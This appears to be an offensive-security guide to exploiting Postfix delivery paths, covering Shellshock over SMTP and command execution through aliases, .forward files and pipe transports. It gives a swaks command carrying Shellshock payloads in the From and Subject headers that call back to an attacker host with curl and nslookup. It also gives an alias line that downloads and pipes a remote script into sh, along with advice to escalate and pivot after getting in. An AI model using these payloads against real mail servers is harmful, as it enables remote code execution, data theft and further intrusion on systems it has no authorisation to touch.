Postfix was written for security and its component processes run with least privilege, so direct remote code execution against the Postfix core is rare. The exploitable surface is what Postfix hands mail to: content filters, alias-driven programs, procmail recipes, and the pipe transport that deliver messages to shell-invoked commands. The best-known case is Shellshock over SMTP: when a delivery path runs a bash script (a filter in master.cf, an alias piping to a shell, a .forward running a command) and that script exposes any mail-derived value as an environment variable, bash's parsing of a function-definition prefix (() { :; };) in that value executes the trailing commands. Postfix is only the carrier; the vulnerable program is the target. The same logic applies wherever aliases or the pipe transport route mail to a command you can influence.
Fingerprint and preconditions#
nc mail.victim.com 25
# 220 mail.victim.com ESMTP Postfix (Debian/GNU) <- Postfix confirmed
nmap -p25 -sV mail.victim.com
Shellshock-over-SMTP needs three things true at once: a bash that still mis-parses function definitions in environment values, a delivery hook (filter/alias/.forward) that invokes bash, and that hook placing a mail field into the environment. You usually cannot see the config from outside, so this is often opportunistic: send the payload and watch for an out-of-band callback.
Mechanism and worked payload#
Place the Shellshock prefix in a header the delivery script is likely to export (sender, subject, or a custom header), so bash evaluates the command when the filter runs:
swaks --server mail.victim.com --to admin@victim.com --from '() { :; }; /usr/bin/curl http://attacker.test/`id|tr " " +`' \
--header 'Subject: () { :; }; /usr/bin/nslookup attacker.test'
# attacker listener / DNS log shows the callback when a bash-based filter runs:
GET /uid=0(root)+gid=0(root)... HTTP/1.1
The callback firing (HTTP hit or DNS lookup to your host) confirms the delivery pipeline ran bash with your value in the environment: that is code execution as the filter's user. No callback means no bash hook on that field, so rotate which header carries the prefix.
The alias/pipe path is the same idea without Shellshock: if you can write to an aliases entry or a .forward, or reach a pipe transport, mail to that address runs the specified command:
# /etc/aliases or ~/.forward controlled or guessable:
reports: "|/bin/sh -c 'curl http://attacker.test/pwn|sh'"
Mail sent to reports@victim.com then executes the piped command on delivery.
Variants and follow-on#
- Be honest about reach: against a default, filter-free Postfix there is usually nothing to hit remotely. The payoff appears once a bash filter, antivirus/content wrapper, or legacy
procmail/.forwardis in the path, which is common on older or heavily customized mail hosts. - Code execution lands as the filter or local-delivery user; from there read the mail spool and queue, then escalate and pivot.